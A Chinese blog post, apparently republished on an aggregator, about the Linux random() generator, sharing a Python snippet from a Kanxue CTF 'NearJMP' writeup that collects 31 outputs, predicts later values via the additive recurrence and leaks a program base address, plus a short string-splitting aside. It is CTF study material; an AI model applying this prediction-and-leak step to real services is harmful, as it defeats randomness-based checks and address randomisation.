概述
http://www.mutepig.club/index.php/archives/61/
这里是原理的推导,下面根据dalao的writeup,贴出py代码
看雪CTF秋季赛第四题NearJMP的writeup
def guess(i):
p.sendline('5')
p.recvuntil('> ')
p.sendline(str(i))
res = p.recvline()
p.recvuntil('> ')
num = res.split()[-1][:-1]
return int(num)
print '[+]guess'
p.recvuntil('> ')
baseAddr = 0
lstRand = []
#先获取前31个随机数
for i in range(31):
lstRand.append(guess(i))
#因为偶尔会有1的误差,所以猜3次
for i in range(31, 33):
rnd = (lstRand[i-3] + lstRand[i-31]) & 0x7fffffff
p.sendline('5')
p.recvuntil('> ')
p.sendline(str(rnd))
tmp = p.recvline()
if 'G00dj0b' in tmp:
baseAddr = int(tmp.split()[-1][:-1]) - 0x202148
p.recvuntil('> ')
break
p.recvuntil('> ')
print '[+]baseAddr:' + hex(baseAddr)
记录一个py的使用方法
s = 'Wr0ng answer!The number is 499183478!'
print s.split()
print s.split()[0]
print s.split()[-1]
print s.split()[-1][:-1]
print s.split()[-1][:-2]
['Wr0ng', 'answer!The', 'number', 'is', '499183478!']
Wr0ng
499183478!
499183478
49918347
最后
以上就是鲤鱼纸飞机为你收集整理的linux随机数原理的全部内容,希望文章能够帮你解决linux随机数原理所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复